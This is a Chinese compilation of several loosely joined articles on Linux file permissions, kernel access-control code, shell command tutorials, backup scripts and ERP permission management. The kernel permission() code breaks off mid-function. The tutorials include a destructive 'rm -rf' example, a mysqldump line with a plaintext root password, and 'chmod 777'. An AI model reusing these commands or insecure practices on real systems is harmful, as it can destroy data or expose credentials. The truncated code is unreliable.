Linux操作系统的权限代码分析(共12篇)
初始化工作
这个初始化工作在init/main.c中的start_kernel()中security_init()定义了,其具体的实现是在security/security.c中:
int __init security_init(void){ printk(KERN_INFO “Security Framework v” SECURITY_FRAMEWORK_VERSION “ initialized/n”);if(verify(&dummy_security_ops)){ printk(KERN_ERR “%s could not verify ” “dummy_security_ops structure./n”, __FUNCTION__);return-EIO;} security_ops = &dummy_security_ops;do_security_initcalls();return 0;} 这个函数首先用verify来验证所指定的访问控制策略(dummy_security_ops)是否为空,如果为空就按“保持默认”的方式进行分 配,这里的“保持沉默”就是对于任何的访问控制采取不管不问的方式处理了。然后就是把dummy_security_ops指定给系统全局安全策略 security_ops。
访问控制策略的相关接口
关于这些接口就是定义在了include/linux/security.h中的security_operations,包括如下一些操作:当父 进程trace子进程时进行的权限检查,对权能的获取、设置检查、设置、有效性检查,对进程做审计的检查,当某个操作使用一般系统接口表时需要的权限检 查,当使用内核消息环或改变登录终端时需要的权限检查,当改变系统时间需要的检查,当分配一个新的虚拟内存页需要的权限检查,当执行二进制程序时需要的各 种权限分配和检查,对文件系统操作时需要的各种访问控制操作,对inode索引节点操作时需要的各种访问控制操作,对文件操作时的各种访问控制操作,对进 程操作的需要的各种访问控制操作,对进程间通信信号灯的权限控制,对消息队列的控制,对进程间通信的共享内存区域的控制,对网络消息处理需要的各种控制,注册与撤销访问控制策略,对网络连接的控制,对套接字的各种控制,对IPSEC中xfrm用户自定义策略的分配,密钥管理的控制等等,几乎囊括了系统各种 行为的控制。
权限管理
虚拟文件系统为各种类型的文件系统提供统一的操作接口,同时这样的做法也可以简化文件权限的管理。那么Linux时如何巧妙地实现这种想法呢?Linux 采用的是基于列的ACL自主访问控制,即在每个文件里存储对本文件的访问权限信息,这里我们采用索引节点inode(定义在 include/linux/fs.h)作为切入点进行分析。在inode结构体中有i_uid和i_gid元素,还有一个i_mode元素。这个 i_mode是16位的无符号整数表示,由9位权限方式位、3位“粘滞”标志位和4位文件类型标志位,它们的具体的定义在 include/linux/stat.h中:
#define S_IFMT 00170000 /* 用于抽取i_mode域中类型部分的屏蔽位 */ #define S_IFSOCK 0140000 /* 套接字类型码 */ #define S_IFLNK 0120000 /* 符号连接类型码 */ #define S_IFREG 0100000 /* 普通文件类型码 */ #define S_IFBLK 0060000 /* 块特别文件类型码 */ #define S_IFDIR 0040000 /* 目录文件类型码 */ #define S_IFCHR 0020000 /* 字符特别文件类型码 */ #define S_IFIFO 0010000 /* 管道或FIFO类型码 */ #define S_ISUID 0004000 /* 用户粘滞位 */ #define S_ISGID 0002000 /* 用户组粘滞位 */ #define S_ISVTX 0001000 /* 粘滞位 */ #define S_IRWXU 00700 /* 用户读写执行 */ #define S_IRUSR 00400 /* 用户读 */ #define S_IWUSR 00200 /* 用户写 */ #define S_IXUSR 00100 /* 用户执行 */ #define S_IRWXG 00070 /* 用户组读写执行 */ #define S_IRGRP 00040 /* 用户组读 */ #define S_IWGRP 00020 /* 用户组写 */ #define S_IXGRP 00010 /* 用户组执行 */ #define S_IRWXO 00007 /* 其他用户读写执行 */ #define S_IROTH 00004 /* 其他用户读 */ #define S_IWOTH 00002 /* 其他用户写 */ #define S_IXOTH 00001 /* 其他用户执行 */ #define S_IRWXUGO(S_IRWXU|S_IRWXG|S_IRWXO)/* 全部用户读写执行 */ #define S_IALLUGO(S_ISUID|S_ISGID|S_ISVTX|S_IRWXUGO)/* 全部用户全部权限 */ #define S_IRUGO(S_IRUSR|S_IRGRP|S_IROTH)/* 全部用户读 */ #define S_IWUGO(S_IWUSR|S_IWGRP|S_IWOTH)/* 全部用户写 */ #define S_IXUGO(S_IXUSR|S_IXGRP|S_IXOTH)/* 全部用户执行 */ 同时,每个进程的task_struct中也有对应的uid,euid,suid,fsuid,gid,egid,sgid,fsgid等元素,当用户登录系统就创建了一个shell进程,它从/etc/passwd中取得对应用户的uid和gid 来唯一标志这个用户,以后所有的进程就代代相传。当内核在执行用户进程访问文件的请求时就要对比进程的uid、gid与文件的访问模式位,由此决定该进程 是否有对文件的操作权限。uid为零的用户为超级用户,可以对任何资源进行管理,当然这也导致了系统安全的不完备性。
判定一个进程是否有对某个文件有某种访问的主要工作是由fs/namei.c中的permission函数决定的,具体的实现方式如下,其中的mask参数是所要求的访问方式位的标志位:
int permission(struct inode *inode, int mask, struct nameidata *nd){ umode_t mode = inode->i_mode;int retval, submask;if(mask & MAY_WRITE){ //假如加载的文件系统是只读的就不允许写,比如是磁盘设备
if(IS_RDONLY(inode)&&(S_ISREG(mode)|| S_ISDIR(mode)|| S_ISLNK(mode)))
return-EROFS;//假如加载的文件系统是不可变的就不允许写
if(IS_IMMUTABLE(inode))return-EACCES;} //是否满足可执行
if((mask & MAY_EXEC)&& S_ISREG(mode)&&(!(mode & S_IXUGO)||(nd && nd->mnt &&(nd->mnt->mnt_flags & MNT_NOEXEC))))return-EACCES;submask = mask & ~MAY_APPEND;//返回适应的权限位
if(inode->i_op && inode->i_op->permission)//交给了具体文件系统实现,比如说ext3文件系统
retval = inode->i_op->permission(inode, submask, nd);else //如果当前进程的fsuid与文件uid相同要比对文件属主的权限,否则比对用户组
Linux是应用广泛的多用户多任务操作系统, 为了保证系统可靠运行, linux系统内置了完善的文件权限管理体系, 该体系包括文件的基本权限、特殊权限和访问控制列表三个部分。文件的基本权限是指文件拥有者、文件所属组和其它用户对文件或目录的r (读) 、w (写) 、x (执行) 权限;文件的特殊权限是为保障系统可靠运行, 满足用户特殊需要而赋予文件或目录的Suid、Sgid、Sticky权限, 通常Suid、Sgid针对可执行文件或目录设置, Sticky只针对目录设置。
2 文件的特殊权限在Linux系统中的表示方式
特殊权限Suid、Sgid、Sticky在linux系统中有其特定的表现形式, 针对具体的文件和目录, 系统采取以下规则表示特殊权限。
Suid权限是借用拥有者 (u) 权限组合中的可执行权限位, 用s或S表示 (文件有可执行权 (x) , 该位为s, 文件无执行权 (x) , 该位为S) ;Sgid权限是借用文件所属组 (g) 权限组合中的可执行权限位, 表示方式与Suid相同;Sticky是借用其它用户 (O) 权限组合中的可执行权限位, 用t或T表示 (文件有可执行权 (x) , 该位为t, 文件无执行权 (x) , 该位为T) 。与基本权限相似, 除了用字符方式表示外, 还可以使用八进制数表示, Suid、sgid、sticky分别对应八进制数4、2、1。这样, 文件基本权限和特殊权限构成四位八进制数, 第一位八进制数代表特殊权限对应的数字和, 后三位八制数代表基本权限对应的数字和。
3 文件的特殊权限作用和设置方法
linux引入特殊权限是为了提高文件系统的安全性, 方便用户间文件共享, 通常, 在可执行文件或目录上设置特殊权限, 满足系统用户的特殊需求。
3.1 Suid权限
当文件拥有者 (u) 的可执行权限位 (x) 被s取代时, 就构成Suid权限。设置了Suid权限的可执行文件, 在被执行时, 将不以执行者身份执行, 而是以文件拥有者的身份执行。
3.2 Sgid权限
当文件所属组 (g) 的可执行权限位 (x) 被s所取代时, 就构成Sgid权限, 通常Sgid被设置在可执行文件和目录上。
可执行文件设置Sgid, 在执行该文件时, 不以执行者身份执行, 而是以文件所属组的身份执行。
目录设置Sgid, 在该目录下创建的文件或子目录所属的组, 将自动被赋予目录所属的组。
3.3 Sticky权限
当其它用户 (o) 的执行权限位 (x) 被t取代时, 就构成特殊权限Sticky。当目录设置了该权限, 在该目录下的文件或子目录, 只有文件或子目录的所有者和root可以执行删除操作, 其它用户即使对该文件或子目录有写和执行权限, 也不能执行删除操作。
综上所述, 在目录上设置Sgid权限, 可解决同组用户间文件共享的问题, 但不能解决同组成员可任意删除目录中组内其它成员文件问题, 为此, 我们通过在目录上同时设置Sgid和Sticky权限, 即可实现同组用户共享文件, 又可保证只有文件所有者和root才可以删除文件, 操作如下。
将共享文件放入/home/user2/share目录中, 文件的所属组为user, 为该目录设置Sticky、Sgid权限。切换到user2用户, 建立文件, 再切换到user1用户, 使用rm命令删除user2用户建立的文件。
结果显示:user1用户不能删除user2用户建立的文件, 因为在share目录上设置了sticky权限, 只有这个文件的所有者和root才可能删除目录中的文件, 实现了同组用户可共享指定目录中的文件, 而每一个用户又不能删除同组的其它用户的文件, 实现了同一项目中不同项目成员之间的信息共享和信息安全的目标。
4 结束语
Linux系统中文件的特殊权限, 是文件系统安全体系中的重要组成部分, 在系统安全管理方面起到了重要作用, 通过特殊权限设置和使用, 可进一步优化系统的权限管理机制, 保障系统安全可靠运行。
参考文献
[1]刘海涛.Linux中文件权限管理的探讨.微型计算机信息, 2006, 22卷, 第三期.
关键词:Linux 核心能力 工作过程 知识模块 综合项目
中图分类号:G424 文献标识码:B 文章编号:1673-8454(2009)21-0062-02
以Linux为代表的优秀开源软件具备得天独厚的教育资源价值,而据笔者调查发现,许多学校对Linux课程的开发价值和当前的市场供求形势缺乏调研,导致认知不足。本文拟就以培养职业能力为基础的高职院校计算机网络技术专业“Linux操作系统”课程教学改革做一些探索。
一、课程定位与分析
“Linux操作系统”是网络技术专业的一门职业能力提升核心课,位于课程体系中课程链路的出口端,对应能力链的高位,课程衔接采取循序渐进的设计思路,如图1所示。经行业企业调研,该专业的主要就业岗位为网络管理员,所需职业技术能力包括:网络设备管理与维护能力,基于Linux或Windows网络操作系统平台管理与维护能力,基于Linux或Windows企业应用服务器管理与维护能力,用户终端管理与维护能力。而本课程对其中的两种核心能力提供了有力支撑(如图2所示)。
二、以能力为本位的项目化课程设计
本课程从岗位能力出发,以职业能力培养为重点,基于工作过程设计课程体系,充分体现职业性、实践性、开放性的要求,整体设计思路是:典型工作岗位→典型工作任务→专业技术能力→专业知识模块→项目设计→任务分解。也就是对课程进行解构与重构的过程。
1.面向工作岗位的教学内容——解构
根据以上的课程设计思路,要使教学内容更加具有针对性与适用性,我们从典型工作岗位出发,总结出该岗位的4个典型工作任务,再从其中的两个工作任务推出与本课程相关的完成该任务需要的9项技能,然后本着知识够用适用的原则,从需要掌握的技术能力提炼出课程需要涵盖的17个知识模块,如图2所示。
2.基于工作过程的教学设计——重构
我们根据中小企业转平台项目中的实际案例,将知识模块重新组合,设计出既能涵盖知识要点,又能体现网络管理员这一工作岗位典型任务的最具有代表性的三个项目。将这些项目分别分解为若干相对独立的任务,再对这些任务进行归纳总结,将具有共性的任务提取出来,最终形成如图3所示的教学情境单元。
按照岗位的工作过程组织教学,使教学活动真正体现岗位的真实工作,使教、学、做有机地统一起来。在教学活动中以三个综合项目为导向,以分解出的相对独立的小的教学任务为驱动,将教学内容有机地组织起来。学生在完成所有任务单元后,稍加整合即可完成三个综合项目,如此可避免学生面对一个大型项目时的畏难情绪。学生跟得上、完得成,容易产生成就感,因此能有效激励其学习的动力。
三、教学方法与手段
经过四年的建设和不断改革,本课程逐渐形成了“校企深度融合共建课程,全方位合作培养高技能人才”的课程特色。教师在整个任务教学过程中承担了任务指导作用,采取以企业真实项目导向、任务驱动、教学做一体化的课程教学模式。教学过程中综合运用以下各种方法与手段,尤其注重全面素质的培养。
1.案例分析
将某中小企业转平台项目按照教学要求重新整合,按照工作过程和特点将项目分解为多个任务。通过每个任务中对于项目功能的不断拓展来推动整个项目的完成。教师讲授和学生操作融入任务中,采用案例分析法开展教学,教师在任务阶段集中传授知识和技能,学生集中实践,运用所学知识技能完成任务。
2.分组讨论
为降低学习难度,帮助学生克服系统搭建过程中的焦虑感,对于难度较大的任务,采用分组讨论法开展协作学习。由教师提出任务,学生(强弱搭配)分组讨论,并定期互换主辅角色。最后,由学生分组汇报,教师总结和提出解决方案。以此提高学生的学习积极性和参与意识,培养其合作精神和团队意识。
3.角色扮演
教学采用虚拟顶岗操作的方式,即由企业工程师或学院认证讲师担任指导教师,采用“师傅带徒弟”的指导方式。课程采用的项目均来源于有关企业的成熟项目,上学即上班,实训基地的教学采用完全企业化的管理方式,通过“六大转换”让学员逐渐适应企业员工的角色:教师转换为项目经理,教材转换为实际项目,上课转换为做项目,考试转换为项目评测,教务转换为企业管理,教学监督转换为质量控制。这种角色的转换与扮演为学生适应企业工作环境、毕业后求职、就业打下了坚实的基础。
4.过程仿真
实验室采用先进的计算机虚拟化技术VMWare,建立高度仿真企业转平台项目实施环境的虚拟快速以太网实训环境。通过在一台物理机上并发运行多个Linux服务器和Windows客户端,使每个学生均可扮演整个企业网络的管理员,针对虚拟的企业网络环境快速方便地练习系统与服务器管理与配置的技能。
5.注重全面素质的养成
Linux崇尚自由、开放、共享和互助,宣传开源精神可教育和培养学生的诚信、奉献和团队精神;Linux可高度个性化定制,有利于激发和促进学生的创造性思维,培养出有知识、有能力、有个性的全面发展人才;在教学中应积极鼓励学生上Linux社区网站,利用互联网学习新知,培养自学能力;在服务器配置中,应让学生认真参考英文配置文件,这有助于提高学生在今后工作岗位中分析和解决问题的能力。同时,教师应从职业岗位要求出发,将职业规范与知识的讲授融合在一起,以培养学生全面的职业素养。
四、结束语
总之,Linux课程作为一门实践性很强的课程,通过引入企业实战案例模型,可充分发挥企业技术与院校教学资源的互补优势,使学生在学习过程中就能了解到当前社会最新的技术发展和企业级的实用技能,提高学生的就业能力;同时,由于项目化课程内容与完成岗位的工作任务密切相关,学生在真实或虚拟的工作环境中,采用协作式、探究式的方式完成学习过程,明显促进了工作态度、职业道德、协作精神等职业素养的养成,从而为今后在工作岗位中更好地发挥能力、施展才华做好准备。
参考文献:
[1]张迎春.高职网络技术专业Linux实践教学新模式探究[J].教育理论与实践,2008(12).
[2]苑敏,苏英志.行为导向教学法在专业课中的应用[J].教育与职业,2008(8).
[3]黄达峰,李洛.Linux技术教育推广的研究[J].广东轻工职业技术学院学报,2006,5(1).
创建文件(touch)命令
Linux 创建文件命令主要用到的是 touch 命令,touch 命令可用来修改文件的访问时间,修改时间,如果没有指定时间,则默认为当前时间,如果指定的文件不存在,则 touch 命令将创建该文件。
命令格式:
touch
[-acfm]
[-r file(参照文件)]
[-t decimtime(时间值)]
[-d time(时间值)]
[--time={atime,access,use,mtime,modify}]
[--date=time]
[--reference=file]
[--no-create] 不建立任何文件,与 -c 作用想用
[--help] 在线帮助
[--version] 显示版本信息
[--]
file(文件)...
-a 修改文件 file 的存取时间.
-c 不创建文件 file.
-m 修改文件 file
-r ref_file 将参照文件 ref_file 相应的时间戳记的数值作为指定文件 file 时间戳记的新值.
-t time 使用指定的时间值 time 作为指定文件 file 相应时间戳记的新值,格式可以是 MMDDhhmm 或者 yyyyMMDDhhmm
例如:
touch -t 10112200 abc 将 abc 文件的时间更改为当年的10月11号22点整
touch -t 10112200 abc 将 abc 文件的时间更改为10月11日22点整
touch -r baidu.com abc 将 abc 文件的时间更改为和 baidu.com 文件的时间相同
touch abc 创建 abc 文件(文件时间默认为当前时间)
当然 Linux 创建文件的命令还有如:cp(拷贝文件) ,mv(移动文件) 也算是吧。
另外只要命令能够重定向输出到一个不存在的文件中去,那么该命令也能够创建文件,比如如下命令:
echo hello world >/home/abc 将字符串输出到 /home/abc 文件里面
cat baidu.com >/home/abc 将 baidu.com 文件里面的内容输出到 /home/abc 文件里面
less testless >/home/abc
tail -f -n 20 /home/abc >/home/abc
linux删除文件,文件夹命令rm
Linux删除文件,文件夹主要用的命令是 rm ,下面将对 linux rm 命令做一个简单的介绍。
语法:
rm [选项] DirName
该命令中的[选项]常用的有以下几种:
-i 删除前逐一询问确认
-f 即使被删除的文件的属性是只读,也直接删除,无需逐一确认,默认是需要逐一确认的。
-r 将目录及以下所有的文件都逐一删除
示例:
rm -i *.php 删除所有后缀为 php 的文档;删除前逐一询问确认
rm -r phpernote 将 phpernote 目录及子目录中所有文件都删除,当文件为只读时,会有提示操作是否删除
rm -rf /var/access 将会删除 /var/access 目录以及其下所有文件、文件夹,删除时不会有任何删除确认提示
注意:
(1)在linux没有回收站,所以在使用 rm 命令的时候,切记文件或目录被删除之后就无法再恢复了。
(2)如果提示没有权限运行该命令,可使用 sudo 提升用户的权限然后再执行命令
查看文件内容
在linux下面,有许多命令都可以查看文件的内容,各种命令都有着有不同的用法与特点,可以根据自己的需要选择相应的命令以快速高效的查看文件内容,下面就将linux下查看文件内容的命令做一下总结。
cat由第一行开始显示内容,并将所有内容输出
tac从最后一行倒序显示内容,并将所有内容输出
more根据窗口大小,一页一页的现实文件内容
less和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head只显示头几行
tail只显示最后几行
nl类似于cat -n,显示时输出行号
下面将各种命令的用法详细比较一下,如下:
1.cat 命令
cat语法:cat [-n]文件名
参数说明:-n : 显示时,连行号一起输出
cat的功能是将文件从第一行开始连续的将内容输出在屏幕上,
但是cat并不常用,原因是当文件大,行数比较多时,屏幕无法全部容下时,只能看到一部分内容。
tac的功能是将文件从最后一行开始倒过来将内容数据输出到屏幕上。我们可以发现,tac实际上是cat反过来写。
2.tac 命令
tac语法:tac 文件名
这个命令输出的文件内容和cat输出的内容是完全倒过来的。一般没有变态需求很少用到。
3.more命令
more的语法:
more 文件名
more的功能是将文件从第一行开始,根据输出窗口的大小,适当的输出文件内容。当一页无法全部输出时,可以用“回车键”向下翻3行(我的环境是3行,其他linux版本可能不同),或者使用“空格键”向下翻页。退出查看页面,请按“q”键。这是一个比较常用的命令。
另外,more还可以配合管道符“|”(pipe)使用,例如:ls -al | more
4.less 命令
less的语法:
less 文件名
less的功能和more大同小异,但是使用more无法向前翻页,只能向后翻。less可以使用【pageup】和【pagedown】键进行前翻页和后翻页,这样看起来更方便。
另外,less还有一个功能,可以在文件中进行搜索你想找的内容,假设你想在passwd文件中查找有没有www.abc字符串,那么你可以这样来做:
[sylar@UB2 etc]# less passwd
然后输入:
/www.abc
回车
此时如果有www.abc字符串,linux会把该字符已高亮方式显示。
退出查看页面,请按“q”键。
5.head 命令
head的语法:
head 【-n number】 文件名
head通常在只需要读取文件的前几行或者后几行的情况下使用。
例如:
[sylar@UB2 etc]# head -n 5 error.log -- 只显示error.log文件的前5行内容
6.tail 命令
tail的语法:
tail [-n number] 文件名
tail的功能恰好和head相反,只显示最后几行内容,用法一样,这里就不举例了。
7.nl 命令
nl的语法:
nl 文件名
nl命令的功能和cat -n 是一样的,同样是从第一行输出全部内容,并且把行号显示出来。
chmod(文件或文件夹权限设定
Linux chmod 命令的作用是设置 Linux 系统上的文件或者文件夹(以下对两者统称为档案)的权限,下面对该命令的一些详细用法做一下说明。
命令格式:chmod [-cfvR] [--help] [--version] mode file...
mode 设置权限的字符串,参数格式如下:
[ugoa...][[+-=][rwxX]...][,...]
其中 u 表示该档案的拥有者,g 表示与该档案的拥有者属于同一个群体(group)者,o 表示其他以外的人,a 表示这三者都是。
+ 表示增加权限、- 表示取消权限、= 表示唯一设定权限。
r 表示可读取,w 表示可写入,x(小写) 表示可执行,X(大写) 表示只有当该档案是个子目录或者该档案已经被设定过为可执行。
-c 若该档案权限确实已经更改,才显示其更改动作
-f 若该档案权限无法被更改也不要显示错误讯息。
-v 显示权限变更的详细资料
-R 对目前目录下的所有档案与子目录进行相同的权限变更(即以递回的方式逐个变更)
--help 显示辅助说明信息
--version 显示版本信息
下面使用案例说明:
系统中存在这样一个文件:/home/www/exam.sh
(1)将以上文件设置为所有人都可读:
chmod ugo+r /home/www/exam.sh
或者:
chmod a+r /home/www/exam.sh
(2)将以上文件与 另外一文件 /home/www/test.sh 设为该档案拥有者,与其所属同一个群体者可写入,但其他以外的人则不可写入 :
chmod ug+w,o-w /home/www/exam.sh /home/www/test.sh
(3)将以上文件设定为只有该档案拥有者才可以执行:
chmod u+x /home/www/exam.sh
(4)将当前目录下的所有档案与子档案设置为可被任何人读取:
chmod -R a+r *
另外需要注意的是也可以用数字来表示相应的权限,语法格式为:chmod abc file
其中a,b,c各代表一个数字,分别表示 User、Group、及 Other 的权限。
r=4(读取),w=2(写入),x=1(执行)
若要 rwx 属性则为:4+2+1=7
若要 rw- 属性则为:4+2=6
定时备份网站数据
代码如下复制代码
#!/bin/bash
PATH=/bin:/usr/bin:/sbin:/usr/sbin;
export PATH;
tar zcvf /web/backup/bak.$(date +%Y-%m-%d).tar.gz /web/www/www.111cn.net
find /web/backup -type f -mtime +2 -exec rm {} ;
第二行:导入环境变量
第三行,把指定目录打个压缩包/web/www/www.111cn.net/目录进行大把,存到指定的目录:/web/backup/中,文件是当前的年月日
第四行:删除两天前的备份文件
mysql自动备份(可删除几天前的数据)
代码如下复制代码#!/bin/bash
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin
find /web/backup/mysqlbak/ -mtime +7 -exec rm {} ;#注意:{}和之间有个空格的
mysqldump -uroot -pganggang11560. -B blog > /web/backup/mysqlbak/www.mapenggang.com.$(date +%Y-%m-%d-%k-%m-%S).sql
第一行:就不说了
第二行:导入环境变量,因为在定时任务的时候是没有环境变量的,所以导入一下下,
linux网站数据与mysql数据库自动备份代码linux操作系统
,
传送门
第二行:在/web/backup/mysqlbak/中查找最后修改时间是五天前的文件,并执行 rm命令,{}是将查找的文件名传入!
第三行:mysqldump命令备份数据库,使用root用户连接,导出blog表,将备份存放在/web/backup/mysqlbak/目录下,文件名为:blog加上备份的年月日时分秒
代码如下复制代码
chmod 777 ./bak.sh#给脚本执行权限
crontab -e #修改定时任务
默认权限: 每一个终端都拥有一个umask属性,来确定新建文件、文件夹的默认权限umask使用数字权限方式表示,如:022目录的默认权限是:777-umask文件的默认权限是:666-umask一般普通用户的默认umask是002,root用户的默认umask是022也就是说,对于普通用户来讲:新建文件的权限是:666-022=644,新建目录的权限是:777-002=755命令umask可以查看设置的umask值:umask真实的umask值是四位,但是第一位是用来存储特殊权限的,所以暂时不予考虑特殊权限: suid:以文件的所属用户身份执行而非执行文件的用户 sgid:以文件所属组身份执行 sticky:
权限对文件的影响对目录的影响suid以文件的所属用户身份执行而非执行文件的用户无sgid以文件所属组身份执行在该目录中创建的任意新文件的所属组与该目录的所属组相同sticky无对目录拥有写入权限的用户仅可以删除其拥有的文件,无法删除其他用户拥有的文件设置特殊权限:设置suid:chmod u+s linuxcast.net 设置sgid:chmod g+s linuxcast.net 设置sticky:chmod o+t linuxcast.net 与普通权限一样,特殊权限也可以使用数字方式表示 suid=4、sgid=2、sticky=1所以,我们可以通过以下命令设置:chmod 4755 linuxcast.net
Linux是应用广泛的多用户操作系统, 从系统的安全性考虑, Linux通过给文件赋予所有者和访问权限, 实现对文件的安全管理。本文针对Linux中文件的访问权限、约定权限、权限掩码含义及计算方法展开讨论, 阐述访问权限的设置方法, 明晰文件的约定权限、权限掩码和访问权限的关系。
2 文件访问权限及设置方法
文件访问权限是指文件所有者u (user) 、文件所属组g (group) 和其它用户o (others) 对文件的读 (r) 、写 (w) 和执行 (x) 权限, 简称ugo (user group others) 权限。所有者是对文件具有所有权的用户, 所属组是文件所属的用户组, 其它用户是除所有者和所属组成员以外的用户。在Linux中, 用户与组密不可妥, 因此, Linux按文件所有者、文件所属组和其它用户来设定文件的访问权限。
在Linux中, 文件的访问权限由10个字符组成, 第1个字符表示linux系统支持的文件类型, 主要包括普通文件 (-) 、块设备文件 (b) 、命名管道文件 (p) 、目录 (d) 、链接文件 (l) 、字符设备文件 (c) 和套接字文件 (s) 。第2至4个字符表示文件所有者权限;第5至7个字符表示文件所属组权限;第8至10个字符表示其它用户的权限。
例如:查看当前用户对文件file的访问权限。
#ls–l file
-rwxrwxr--3 root root 2048 3月12 22:12 file
结果显示file是一个普通文件, 文件所有者和文件所属组对file有rwx权限, 其它用户对file有r权限。
在实际应用过程中, 文件所有者可以使用chmod命令设置文件的访问权限, Chmod命令有两种方式:一种是字符方式, 另一种是数字方式, 所谓数字方式是指将rwx权限分別用4、2、1表示, 沒有授予权限用0表示, 然后把所授予的权限对应的数字相加, 形成3位八进制数的组合来表示文件的访问权限。
字符方式的基本语法:chmod[ugoa]+|-|=[rwx]文件|目录
参数说明:+|-:是在原有权限设置的基础上, 增加或取消权限;
=:是赋予文件或目录新的权限;
u表示文件的所有者;
g表示文件所属组;
o表示其它用户;
a表示全部用户;
数字方式的基本语法:chmod nnn文件|目录
参数说明:
三个n分别代表文件拥有者、文件所属组和其它用户对文件的权限, n的取值要么是0 (无权限) , 要么是赋予了相应权限所对应的数值累加和。
例如:设置文件file1的访问权限, 使文件所有者 (u) 和文件所属组 (g) 对file2有rwx (7) 权限, 其它用户 (o) 对file2有r (4) 权限
字符方式设置访问权限:#chmod ug=rwx, o=r file1
数字方式设置访问权限:#chmod 774 file1
3 文件访问权限、约定权限、权限掩码的关系
在LINUX中, root用户登录系统, 建立文件和目录的访问权限分别为644和755;普通用户登录, 建立文件和目录的访问权限分别为664和775, 两类用户建立的文件和目录访问权限不同, 与LINUX的权限掩码有关。
为了提高文件系统的安全性, 方便用户权限设置, Linux设置了权限掩码 (umask值) , root用户和普通用户登录系统, 权限掩码默认分别为022和002, 在终端上输入umask命令可查看系统当前的权限掩码。在不考虑权限掩码的情况下, Linux约定, 新建文件和目录的权限为666和777, 我们称为之为约定权限。在系统给定权限掩码的情况下, 新建文件和目录的访问权限为:文件和目录的约定权限666 (777) 与权限掩码值取反后作逻辑与运算, 得到文件和目录的访问权限。
4 结束语
LINUX中文件的访问权限, 是通过系统给定的文件约定权限与权限掩码取反后作逻辑与运算生成的, 而不是二者简单的相减。通过权限掩码, 可以方便地为文件赋予访问权限, 从而方便用户对文件系统的维护, 提高了文件系统的安全性。
参考文献
[1]潘志安.Linux操作系统应用.高等教育出版社, , 2010.12, ISBN:978-7-04-027800-2.
关键词:ERP;权限管理;案例;途径
一、ERP权限管理的概念及其重要性
ERP权限管理的概念及内容。权限管理是ERP上线后系统运维管理的一个重要工作内容,包括用户管理、角色维护与授权、角色参数维护以及ERP内部控制工作等。系统上线后能安全、高效运行的前提是权限运维必须规范,即用户管理规范、授权管理清晰,最终用户的权限设置符合内控部制规范。否则,将产生直接负面影响,轻者业务员无法正常开展业务,重者会导致ERP管理混乱,业务停滞,信息数据泄密,给企业和公司带来损失。可以说,规范的系统权限管理和有力的管控是保证系统安全运行和数据保密的必要手段。因此,构建高效的权限管控体系和规范的授权业务流程是保证系统安全、高效和数据保密的重中之重。
二、ERP权限管理失控导致公司业务混乱,内控审查困难案例
以下两个案例来均自于某国有企业下属某地区公司。案例1. 2011年该地区公司业务人员发现系统中有一笔已建投资项目计划被更改,同时还存在一笔未知投资项目,引起了领导的高度重视和关注,经层层查找,最终发现以上操作是一个未及时关闭的ERP实施期间的大权限账号所操作,但已无法查找创建人。庆幸的是以上两个问题被及时发现和处理,否则将造成了该公司项目投资计划、预算分配混乱,给该公司带来严重的经济损失。案例2.公司在接受总部2012年内控检查时,权限测试结果中发现了互斥及敏感权限达到7万余条,涉及到的用户占总用户数的70%以上,账号权限互斥非常严重,业务和流程混乱。测试结果影响了当年该企业对其下属的地区公司的内控工作和生产业績考核,当年部分工作总额因此被扣除,导致了职工年终奖金下降。
三、原因分析
以上两个案例究其原因,都是由于ERP权限运维混乱、授权失控,管理不规范所造成的。案例1主要是因为ERP上线后,没有规范ERP权限管理,未能及时梳理系统账号,未及时系统实施账号和收回诸如投资项目计划创建之类的受控权限。案例2是由于公司未建立起规范的ERP运维体系,ERP权限管理和内控管理严重脱节,用户账号授权失去控制和监督,用户权限设置不符合职责分离原则所造成。
四、优化ERP系统权限管理,提升管控力的有效途径
(一)建立健全ERP权限管理规章制度。实际上,我们不可能完全通过技术手段来进行权限的维护, 还需要建立起相应的规章制度,理顺、理清权限申请和授权的工作流程,以此来规范和约束权限管理,做到管理有理、有据、流程化、规范化,减少用户和管理员在权限申请和授权过程中主观意识的负面作用,使授权工作过程可控、授权结果合规。
(二)建立清晰、有效的权限控制解决方案。ERP权限控制从事务代码级、组织机构级、权限对象字段值级等三个层次进行。(1)事务代码级控制是授予用户的权限角色中必须包含具有操作某项系统业务所对应事务代码,也就是为其分配的具体角色中须在用户菜单或事务代码中含有该事务代码;(2)组织机构级控制是指用户具有了事务代码的执行权限,还必须具有相应组织的操作权限才能完成业务。实施中需根据实际设计不同性质的组织架构,通过为角色分配不同的公司代码值,将用户的业务限制在不同的公司代码下;(3)权限对象字段值是指用户具有了某事务代码的执行权限和相应组织的操作权限之后,ERP 系统又对相应的操作根据权限对象进一步控制。
(三)建立起清晰的用户岗位职责体系。如何才能快速、高效地解决企业权限管理混乱的现状,就必须在系统中的用户账号和权限申请及权限分配按照“一人一岗”的原则进行。事实上,企业不断追求人力资源最小化,一人承担多个岗位工作是必然的,这种管理现实势必造成人员职责交叉,权限设置混乱就是必然结果。因此,如果没有清晰的岗位职责体系,就无法合理划分各个岗位的职责分工,无法保障用户在工作岗位职责划分合理、合规,符合内部控制规范。最终会出现两种结果,一是为了符合内控规定,系统中授予用户的业务处理权限无法满足用户需求,导致企业生产经营停滞和业务中断;二是为了能维持企业生产经营和业务流程正常进行,用户就会无约束的申请权限,而管理员也无约束的给用户授权,最终导致用户权限分配失控。所以在系统中建立起合理、清晰的岗位设置和职责体系对于解决ERP权限管理混乱的情况是非常重要的。
(四)强化“三部门”沟通协调,畅通用户信息反馈渠道 “三部门”是指ERP系统应用部分、权限运维支持部门。以及人事管理部门。实际上,岗位、职责、权限三者之间的关系是环环相扣的,人员岗位变动引起职责变化,职责变化就意味着权限需要调整,反过来,用户权限调整了就意味着他的岗位和职责发生了变化。这是因为ERP系统用户账号与用户实际岗位和职责绑定的,用户的岗位和业务职责决定了其账号在系统中应分配的角色和权限。但人事岗位调整和分工是由人事管理部门具体操作,业务部门只有建议权,没有处理权,所以在这种情况下,
